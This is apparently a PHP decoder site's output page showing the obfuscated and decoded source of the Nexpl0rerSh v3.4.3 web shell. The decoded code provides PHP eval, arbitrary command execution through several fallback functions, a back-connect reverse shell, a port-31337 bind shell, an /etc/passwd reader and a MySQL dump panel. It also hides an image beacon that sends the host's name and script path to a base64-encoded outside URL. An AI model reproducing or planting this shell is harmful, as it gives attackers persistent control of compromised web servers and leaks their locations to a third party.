Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto g4KsW; KNmDY: echo "\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40"; goto ewYin;..
Decoded Output download
<?php
goto g4KsW; KNmDY: echo " "; goto ewYin; RcELZ: echo isset($_COOKIE[oTfkf]) ? $_COOKIE[oTfkf] : "database"; goto AGT1G; UD1An: echo " <br>
Uname -a: "; goto h9jrd; lOPt2: echo $LDjS_; goto WMQsd; jutJT: echo $ZV9ED; goto z6j9y; uZRIx: echo "\x9 ( "; goto wbEuv; ukn9B: echo "" />\xa <input name="dbname" type="text" value=""; goto RcELZ; UXZkv: echo phpversion(); goto g2ZuM; PNhJO: echo " <br>\xa Name: "; goto xtW1M; tjB7g: echo addslashes(realpath(".")); goto KwF1A; YQiMm: echo "
"; goto A3IJQ; N8oLn: echo "</title></head>\xa<body>
<table style="background-color:#333333; border-left:#FFFFFF 1px solid; border-right:#FFFFFF 1px solid;" width="90%" border="0" align="center" cellpadding="0" cellspacing="0">\xa <tr>
<td style="font-size:12px;"><div align="center" class="header"><span class="Stile4"><font size='6' face='Webdings'>!</font></span>Nexpl0rerSh v3<span class="Stile2">.4.3</span> BL4cK Release<span class="Stile4"><font size='6' face='Webdings'>!</font></span></div>\xa\x9 <div align="center"><strong>Shell info: </strong> <span class="Stile2">Author:</span> Nexen <span class="Stile2">Release Date:</span> 1 June 2008 </div>
<table style="background-color:#999999;" width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>\xa <td id="info" width="50%">PHP Version: "; goto UXZkv; pt_bg: echo $_SERVER["SERVER_SOFTWARE"]; goto h6L_G; AGT1G: echo "" size="10" />
<input name="submit" type="submit" value="MySQL" />
</div>
</form> </td>
<td style="border:#FFFFFF 1px solid;"><form method="post" action="#">\xa <div align="center"><strong>:: PHP Execution :: </strong><br>\xa <input type="hidden" value="eval" name="mode" />
<input name="eval" type="text" size="30" />\xa <input type="submit" value="Eval" />
</div>
</form> </td>\xa <td style="border:#FFFFFF 1px solid;"><form action=# method=post name="folder" id="folder">
<div align="center"><strong>:: Go Dir ::</strong> <br>\xa <input type=hidden name='mode' value='ls'>\xa <input type=text value='"; goto xV8WP; y8tBn: echo "" size="26" />\xa <input name="port" type="text" value="port..." size="10" />\xa <input name="submit" type="submit" value="BackConn" />
</div>\xa </form> </td>\xa <td style="border:#FFFFFF 1px solid;"><form action=# method="post">
<div align="center"><strong>:: Bind Port :: </strong><br>\xa <input type="hidden" name="mode" value="bind" />
<input name="submit7" type=submit value="Bind port 31337" />
</div>\xa </form> </td>\xa </tr>
<tr>
<td style="border:#FFFFFF 1px solid;"><form action="#" method="post" name="sqlpanel" id="sqlpanel">
<div align="center"><strong>:: MySQL Panel :: </strong><br>
<input type=hidden name=mode value=loginsql />
<input name="user" type="text" value=""; goto JcwPY; JcwPY: echo isset($_COOKIE[CEwOv]) ? $_COOKIE[CEwOv] : "user"; goto y4tCF; xV8WP: echo $IJ20S; goto eboFu; rGQ1s: echo " </div></td>\xa </tr>
</table>
\x9 <script language=Javascript>\xa\x9 var x = new Image();
x.src = ""; goto CwF59; KwF1A: echo "';document.folder.submit();">Home</a> - <a class="link" href="javascript:document.tools.nometool.value='passwd';document.tools.submit();">Cat /etc/passwd</a> - <a class="link" href="javascript:document.tools.nometool.value='encoder';document.tools.submit();">Encoder</a> - <a class="link" href="javascript:document.tools.mode.value='phpinfo';document.tools.submit();">PHPInfo</a> - <a class="link" href="javascript:document.tools.nometool.value='scanner';document.tools.submit();">ShellScan</a> - <a class="link" href="javascript:document.tools.nometool.value='proxy';document.tools.submit();">Proxy</a> </div>
\x9 <br>
Directory:</span>
\x9 <? $pd = $e = explode(DIRECTORY_SEPARATOR,substr($dir,0,-1));\xa$i = 0;\xaforeach($pd as $b)
{\xa $t = "";
$j = 0;
foreach ($e as $r)\xa {\xa $t.= $r.DIRECTORY_SEPARATOR;
if ($j == $i) {break;}
$j++;\xa }\xa echo "<a class=\"link\" href=\"javascript:document.folder.dir.value='".urlencode(addslashes($t))."';document.folder.submit();\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";\xa $i++;\xa}\xa?><br>
\x9 <br>
\x9 "; goto V1FD3; CRGnV: echo isset($_COOKIE[tiWC6]) ? $_COOKIE[tiWC6] : "pass"; goto y3AXc; CwF59: echo base64_decode($Dxi6p[U0Zoe]) . getenv("HTTP_HOST") . $_SERVER["PHP_SELF"]; goto SgtL1; WMQsd: echo "%)<br></td>
<td id="info" width="50%"><div align="left">
"; goto BVs5S; y4tCF: echo "" size="9" />\xa <input type="text" size="10" name="pass" value=""; goto CRGnV; YwzKs: echo $ZbajO; goto MyqaF; xtW1M: echo $_SERVER["HTTP_HOST"]; goto UD1An; zdyNu: echo $nYtzj; goto MQaKH; CydDf: echo $K53oI; goto rGQ1s; FA9L_: echo $_SERVER["SERVER_ADDR"]; goto PNhJO; h6L_G: echo "<br>\xa Free "; goto jutJT; KD0Rz: echo $_SERVER["REMOTE_ADDR"]; goto y8tBn; V1FD3: echo $YAaOg; goto pBvm4; jC_nZ: echo "[nex@" . getenv("HTTP_HOST") . " ~]"; goto N8oLn; h9jrd: echo $y8x1f; goto uZRIx; BTnGg: echo " )<br>
\x9 Software: "; goto pt_bg; wbEuv: echo PHP_OS; goto BTnGg; nSd_D: echo isset($_COOKIE[QEn_A]) ? $_COOKIE[QEn_A] : "host"; goto ukn9B; A3IJQ: echo $AYW16; goto KNmDY; pBvm4: echo $jbUro; goto tl28h; BVs5S: echo $hmpqb; goto YQiMm; g2ZuM: echo "<br>
Address: "; goto FA9L_; MyqaF: echo $LuTf9; goto haMfF; haMfF: echo " "; goto CydDf; ewYin: echo $PBrJS; goto jtpCW; g4KsW: echo "<?\xaini_set('memory_limit', '1000M');\xa$_nexpwd = "p4ssw0rdZ";
//if ($_GET['str'] != $_nexpwd) {die();}
$images = array(
\xa\xa
"change"=>
"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAANESURBVHjaYjxx5tZzXh4OHgYk8O3nb4YfP/8zfHhwjkH3aTHD97+WP8+sP7Pw7d173UxMDC+Q1QIEEAsfH6eAhoo0B7Lgr9//GH7+Z2L4+KafQcrgMQPTX2keaVa1onU9924wMjLMZmBEqAUIIJb///7/YUADzKxMDP+fvWQQZN/EwPQaKHDxBMOni0xfPrJwX//99y8D43+EWoAAYmHAAkAWML9ZxsDB8JiB4T0DGJ/nMOb+kJHX9vXzu3hGBsb7rGxsDKwsbAwAAYTVgL+fPjMwf1jEwPwbyPnOxPDsKSPDV4swRnYedttH9587cXJxzb1x5hrD7ZuXGQACCKsBDB/3MzD/ucjA8ION4f/LvwwvpK0YZF2CGb7dvs5w6fvnn2/fvGTYs2MNUOEfBoAAYsKm///DyQysvJwMDF84GN5/5GP4ouHHICQjxcDM8JeBhYWV4cqlK0BV/4CYjQEggDBc8PfFCQZmjltAzcCY/cTA8I5HjUHQIZSB8/9PBj4eXoYjBw8x3LtzHqiSlQ0UYQABhOoCYAj/ezaPgYkDKPwTaPMHHob3Mp4MglLSDCzABMDIzMjw5vVLTpBuIBYBYm6AAGKBRelPUNS8uMjAwv6QgfGPIJDDzvDqOzuDaFAsw68vHxh+//rJ8OnjJwYmRiZgmmGEuZwXIIDgXvgH8tLfH0CGNAMDBy/Dl+dPGd4IWzNw/GNm+Pn6DVAjI8M/oAtBQQQLKlAoAgQQE3Lc//nNCExELgx//7gyXLwmyPBb1YHhDzCd/f33n4GFlQWohhGkC6wRiD8A8VuAAIK7gJWZgeHhy28Ml/YdYZDm5GZgtM1i4FbSZPjz4xvYMmYWJgYubm4GJiamr0Bn/oZgJgaAAGJCdtOP738Ynt96zsBq7M8grGsODOMfDGzAaBMU5GMQExMHuoKZwcbe8begkCwDIyM4EhgAAoiFCQjBSReINY3NGVQMTBmYBYSANv9m+C3Ay8DKzgb0+38GNjZmBmZmFgYuLk6m8KhYhlu3bjLcv3OdASCAWO7eefhh1Yo1PCAnMjIDYwcUWH9+AZ3FDHTZX4b/IE8Dw4CJiZHhAzAWgGHx68vXLwwKCooMqqrqDAABBgD54A4xrMo1ZAAAAABJRU5ErkJggg==",\xa\xa
"delete" =>
"R0lGODlhEAAQANUAAMczNfRxdPRzdPNydPNzddgqL+AsNN8sM8cpMOY2PuU2PsUgK+UwOfJVYPRja/NjavNja/Nka8UYJ8YZKMUZJ8YgLPJUYMUTJfE/UvA/UfJIWPFIWNRldN+cqMpdSc5uXspXRspYRslYRtWIfMlQQ9ymoMlHPslHP8hHP8c9OeBhW/WBfcc9OuNST/WAfvSAfuPExP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADEALAAAAAAQABAAAAZ8wJhwSCwaj0eYZ1QceWBEWKgVYgpHohYIKiyRXCvSp/QhvcIl4ghFEKhMqkHgZCVyWBHIw/FIcZAACg0NFgkASDEIDBsaGgwISBwVGJSUC39FHBOUBRIFGBkUmEIdF6AXHB0cphkXHUMwFwaoQ6sHF1xCsaNCq7mIwMExQQA7",
\xa
"folder"=>\xa"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAA3XAAAN1wFCKJt4AAAAB3RJTUUH1QsKEjkN+d1wUAAAAX9JREFUOMulkU2IUlEYhp9jKv5AposQWgRBtA6CmSCa5SzjYhG0qYggiP6Y3WxmtrMIol1QM84qRKRlSVC2bBcYRpuIIigFC7F7j0fP/WZx7QriBc2XDw6cw/e8L+9Rly6XtorF4jZTMsYE58Dc2tvdf0KE1J17t+X61RszH7X2eLb3lF6vd6VaqT2PBJSci7Q+taJMeNt4M331qFqpPQCIA6TTGY7k8pEA50IpcFMKpRS1F9X7QAAwxuB5Lq8/9ml2Msylww5nbjpSSOnPYYJmJ8PjjXW0sXMxUslD3H1YPxUH8DwXgJ+/NV/af+cCnDiaBSCmtSadnjP6DMVc1w0T/BfgXwdLARZNYK2PHgZlh7+QiPkIICIopRARRMAXwVphaH3MSBiMLEMr5LLJCcDzXI7nBnT7hh9dD0ThI4wHERAEkTEYGFmZAH512pw+e44PX/+MlwJ3EfARBAUiYaqVkwXqL1+R19/L6vy1nYabOLa2aHnZ4bf378qbqyyrA8KHtMqnsOL4AAAAAElFTkSuQmCC",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".\xa"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".\xa"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".\xa"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".\xa"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".\xa"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".\xa"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".\xa"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".\xa"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".\xa"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".\xa"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
\xa"url"=>\xa"aHR0cDovL24wdHcuYWx0ZXJ2aXN0YS5vcmcvYy5waHA/dHlwZT1zaGVsbHMmYz0=",
\xa"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".\xa"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",\xa"ext_exe"=>\xa"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".\xa"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".\xa"xhIAOw==",\xa
"ext_html"=>\xa"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAP3SURBVHjaYtxx5BYDIwMUMDLESIjyTeRiZ2H4//8/WOgvEP/69Zfh5+9/DI8ev3jx9NGDKAYmpovc/MIMc6e0MwAEEAszEyPDP6h+pn9/ORWkBYV4OVlhRjL8Bprz5etfhncfPjP8l5IQ4uVh33Lt2i1foAUXQPIAAcSirC3F8PoXI8N7JmaGrw9f//z67S8DCzMrAwvjPwZWVkYGpv+MDIxAJzIB5VlZGBgsjTRlWFiYN99//BpsCEAAsbCxsTCwMjEx/P3NZPmcSTB2/UNmBsb//xi+fv3DoCH8l8FFlZmBg4WVgZ2dleHHr98Ml27cY/jPwCzDxc23BejLQIAAAEEAvv8CAwH/APT1/l/l7P+/IRwHREEtBQAmJgIA+g4GAKHUBgCGufQA9fb1AAgFAwASEAwA9ff+AOjr8QAFBgob/Pz9YQKI6ePP/7qH7zBP5GJhYtfjZ2KQAnqfCehUoIUMnFzMDBuv8TAsOPSeAWgk0GvMDNxc7AxCvOwM4sI8QJf8/wsQQCzbb/9L/vGLgd9KkoHh03cGhku/GBhefmVg+AjEQHFgxDAzrDr4ncFK/jkDDxcfMDwYGbi4OBhYgF4HBs1/gABiOnf9p/mrT78ZXv9hYHj3m4Hh8hMGhquPGBgevmRgeP+NgeHP5+8Mty98ZLj++D0DK/N/Bm4OdmDA/mDg52QDxztAADG9fPyDb/eRDwzTjvxmAJrBYAx0yV+gzfeBBvz68pfh64PXDOxcrAx//4Jih4mBDRgVPDxAlwDZoNgBCCCmPz//Pn15+iXDiyufGF5+ANnAwMD66yfDzcNPGIS/vWb4+uITAycvE1icmQUYlaysDF8/vwMGKhM4nQAEENOz84t2i4mJMHiYcDNI8DMyCAJdZi4FjB9LVgZ9VW4GEWleBgWJHwxSQEOYgdH5H5jsRETFGf4D0wUorQIEENODQ5MWq2h9uSUty8EgJcDAIMfOwOCpy8FQkibOoKbOy+AaKMbgYfiRQVxEDOhkFgZmYJp58fwJMGj/AkOAkQEggFh+fHj54uLq1PhTurMXPXqkpsr5+QMDDzczA5cML8OzN58YBN+dY7DSEGLgFxJl+AUMh3///jDIysgDww/".\xa"kgv8MAAHEDPLH19ePnpzcsmzLzduvFT4zKGucOP+M4ffnZwyKrI8ZbDVEGBSUNYDqgRr+/WdgAtL37txgEAZ6Y9XKlacAAogFlmn+fnt3X+bv6e0L6tr8P757B4yJvwzcvIIMbBycDH+".
"Bnv0NzI3ADMHw5+8/Bg1dYwYmNmB+YWXlAAggRE4GxsnUeev09+zalvDsySOgwYzgDA2y9T/Df3juBDFBPBYWNsbbN86fBAgwAD3nU17W2F2kAAAAAElFTkSuQmCC",
"ext_jpg"=>
"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAACjUlEQVQ4jW2STW8jRRCGn+rp+UhGdmKPN5YhwYFIDuxHDrn4Hu6RyE/YC8oPyB+BAzlyzoUjSAgJrbRI5IKEEmmFYKNI3ll2bLPxbpZxnJ5uDjNxshJ96Gqpup56u94W5xwHBwfB/v7+l0op5ZwTgP+JjmoVReH29va+Pj09LTTAysrK4pM/069+fDYA5vcAEEBEQAQl5fnz3ipJknwDlIAoilQYhjSaDQCUSFksglRFSlQZlRAvLrC1taWBKw0QBIFarsVsfBggVVsBBEFEiHwPB7TiiLdXhsai0Ol0NEC5ae2tJ8uEdcXo3ZT82jA1BeIcjcgnDjSeEpYDC7zlzfCCVqt1CwjDUP387Iwf/niJrz18z8PXHrXI53F/lSQYUw8sSoAaXDbvkaV/+3cBnhcv8EGyPB9eLfR41KnRqQc0wgb59B++H/3KLxenrC/cZz1a9eYA3/dVgdBY8HjYjnjQDqjH7xjkf/Fk+Irn+Ut+ev0b6dUIgMfRZwRBcAtQSqn+x00+/WjKi2nG8b9jppezylKfuu7yxb1u5YrwqPaAy1dvbgHOOWnVm7Ro8olz3Pkzt/+hKpbK4qfqqZoDynyZMMaQZRmTyYSiKOh2u2RZhjGGOI5ZW1vDOZkXqAqgbujX19cMBgPOzs4wxnBycsJ4PKbdbmOMwSEU1mKtZQ7wPE8rpd6TubS0xPb2Nv1+nzzPybKM8/NzCmNxtmA2m8ndIXo3T0jTlF6vR7PZpHKInZ0drIWNjR5QoLXH8fHx5e7ubqlAa61vOm9ubpIkyXtqnCtnA5YoihgOh78fHh6+nivI8/wiTdNvnXMWsM45KyLWOWedwxbWFcbMbBSGs8lkkh0dHX03Go2mAP8BZNgCDYdm9o4AAAAASUVORK5CYII=",
"ext_php"=>\xa"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".\xa"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",\xa"ext_pl"=>\xa"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",\xa"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".\xa"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".\xa"u4tLAgEAOw==",
"ext_txt"=>\xa"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACm0lEQVR42mLs7+//z0ABAAhAcRzbAAjDABD8gpXYy6O4ZxKWQCxATUuB4+A4glD8ST/9iAjr3vDobIdzeaNEjn8pCVYcqzHq2JPcNTmXGVXlE0AsMJPMVZkZ/jMwM9hosDD8A7rpHyMTw5/P7xi+Pn/CwCwizcDExcPw99dvhr9AyT9//8JdABBAcAMEuJmgLCgNNOTP60kMDDycDJ8fyjCwKZkxcEqrMPz9/ZPh/3+4NgaAAGLB5i9QoPx+d4mB8VcvA+sHBgbmB44MP6WNGZj+/Gf4B8L//jGwcUDUAgQQE1YD/gGJL/MYWBm/Mfy7y8Lwm1uPgUNei+H/n19A2/8z/EXyAkAAsWCz/e/HWwxMv3cyMHxWYPjySZSByTyCgZHhH9hmkGaQITAAEECYBgAN//9hMQMrMxvDv7dCDD9l/Ri45XUZ/v36BgzAfwyMjIwMzMzMcPUAAQT3AshUkMv/frnDwMx6AxgIqgzfviowsOr6g0QhipmYgC74h2IhQADBXfD9+w+g6awMTJ/2MLCyCDD8+8jI8J1bg4FbQpnhHzDkfwLTAUjNjx+/GTg4WBn4+PjA+gACCOEFYLz/+/aMgeXnKwYGdiWGr58/MfxXcmP48vU7w/cvnxn+/PnD8AuYDkDh8Pv3L7g2gACCG8AE9Bcojv8ymTL8//ST4c3fT0CDRBj+ffgI9vefP38ZLl06C9cIYwMEEMIAoP++//rHcPvQJQZhRT0GBkVHBiZgfLKwMAOdzA5UwQ5WFx4eDqZBybiwsFAYIIAQBjAyMLBx8jIIKhsy8GmZA6MNmLCBgpyc7AysrKxA/3+D2w7VzAUKOoAAghvAwszEwCIqxaAKxNgAFxc3smYWWNQABBALTJBYgKwZBAACDAAKWftvHUTAkgAAAABJRU5ErkJggg==",\xa\xa );\xa \xa if ($_GET[act] == "img") {
\xaheader("Content-type: image/gif");\xaheader("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));\xaheader("Cache-control: max-age=".(60*60*24*7));\xaheader("Last-Modified: ".date("r",filemtime(__FILE__)));\xa
$image = $images[$_GET['img']];\xa echo base64_decode($image);
die();
}
// Function for table dump\xafunction getperms ($perms) { // <--- thx to php.net\xa
\xaif (($perms & 0xC000) == 0xC000) {\xa // Socket\xa $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link\xa $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular\xa $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {\xa // Block special\xa $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {\xa // Directory
$info = 'd';\xa} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {\xa // FIFO pipe
$info = 'p';\xa} else {
// Unknown
$info = 'u';\xa}
\xa// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');\xa$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));\xa
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?\xa (($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));\xa
// World\xa$info .= (($perms & 0x0004) ? 'r' : '-');\xa$info .= (($perms & 0x0002) ? 'w' : '-');\xa$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));\xa
return $info;
}
\xa\xafunction datadump ($table) { // <--- thx to mrwebmaster for function\xa
# Creo la variabile $result\xa $result .= "# Dump of $table \n";\xa $result .= "# Dump DATE : " . date("d-M-Y") ."\n\n";\xa
# Conto i campi presenti nella tabella\xa $query = mysql_query("select * from $table");
$num_fields = @mysql_num_fields($query);
\xa # Conto il numero di righe presenti nella tabella
$numrow = mysql_num_rows($query);\xa
# Passo con un ciclo for tutte le righe della tabella
for ($i =0; $i<$numrow; $i++)
{\xa $row = mysql_fetch_row($query);
\xa # Ricreo la tipica sintassi di un comune Dump
$result .= "INSERT INTO ".$table." VALUES(";
\xa # Con un secondo ciclo for stampo i valori di tutti i campi
# trovati in ogni riga
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = ereg_replace("\n","\\n",$row[$j]);\xa if (isset($row[$j])) $result .= "\"$row[$j]\"" ; else $result .= "\"\"";\xa if ($j<($num_fields-1)) $result .= ",";
}
\xa # Chiudo l'istruzione INSERT
$result .= ");\n";\xa }\xa
return $result . "\n\n\n";
}
\xa// using which THX TO R57\xafunction whicha($pr)\xa{
$path = exa("which $pr");\xaif(!empty($path)) { return $path; } else { return $pr; }
}
// executing command THX TO R57
function exa($cfe)
{
$res = '';\xa if (!empty($cfe))
{\xa if(function_exists('exec'))\xa {
@exec($cfe,$res);
$res = join("\n",$res);\xa }\xa elseif(function_exists('shell_exec'))\xa {
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{\xa @ob_start();
@system($cfe);
$res = @ob_get_contents();\xa @ob_end_clean();\xa }
elseif(function_exists('passthru'))\xa {\xa @ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();\xa }\xa elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";\xa while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}\xa }
return $res;
}
// function pari
function pari($num) {
return ($num%2 == 0) ? TRUE : FALSE;
}
\xa\xa// Getting Directory..\xaif ($_POST['dir'] == "") {
if ($_COOKIE['dir'] == "") {
\x9 $dir=realpath(".");\xa }\xa\x9else\xa\x9{\x9
\x9\x9$d = str_replace("\\",DIRECTORY_SEPARATOR, $_COOKIE['dir']);\xa\x9 $d = str_replace("\\\\","\\", $_COOKIE['dir']);\xa\x9\x9$dir = $d;\xa\x9}\xa}\xaelse
{\xa $dir = str_replace("\\",DIRECTORY_SEPARATOR,$_POST['dir']);
$d = str_replace("\\\\","\\", $_POST['dir']);
setcookie("dir",$dir);\xa}\xa\xaif (substr($dir,-1) != DIRECTORY_SEPARATOR) {$dir .= DIRECTORY_SEPARATOR;}\xa// Getting something...
$safemode_off_msg = "<font color=green>Safe Mode: OFF</font><br />";
$safemode_on_msg = "<font color=red>Safe Mode: ON</font><br />";\xa$gpc_off_msg = "<font color=green>Magic Quotes: OFF</font><br />";\xa$gpc_on_msg = "<font color=red>Magic Quotes: ON</font><br />";\xa$auf_on_msg = "<font color=green>Allow URL Fopen: ON</font><br />";
$auf_off_msg = "<font color=red>Allow URL Fopen: OFF</font><br />";\xa$reglobals_on_msg = "<font color=green>Register Globals: ON</font><br />";\xa$reglobals_off_msg = stripslashes("<font color=red>Register Globals: OFF</font><br />");
$uname = php_uname();
(ini_get("safe_mode") == 0) ? $safemode = $safemode_off_msg : $safemode = $safemode_on_msg;
(ini_get("magic_quotes_gpc") == 0) ? $gpc = $gpc_off_msg : $gpc = $gpc_on_msg;
(ini_get("allow_url_fopen") == 1) ? $auf = $auf_on_msg : $auf = $auf_off_msg;\xa(ini_get("register_globals") == 1) ? $reglobals = $reglobals_on_msg : $reglobals = $reglobals_off_msg;\xa
$freespace = disk_free_space($dir);
$totalspace = disk_total_space($dir);
$percentfree = round(($freespace*100)/$totalspace);\xa$percentbusy = 100-$percentfree;\xa$freespace = intval((($freespace/1024)/1024)/1024);\xa$totalspace = intval((($totalspace/1024)/1024)/1024);
$freespace .= " GB";
$totalspace .= " GB";\xa$current_user = "Who are you? ".get_current_user()."<br />";
$uid = "Uid: ".getmyuid()." Gid: ".getmygid()."<br />";\xa\xa
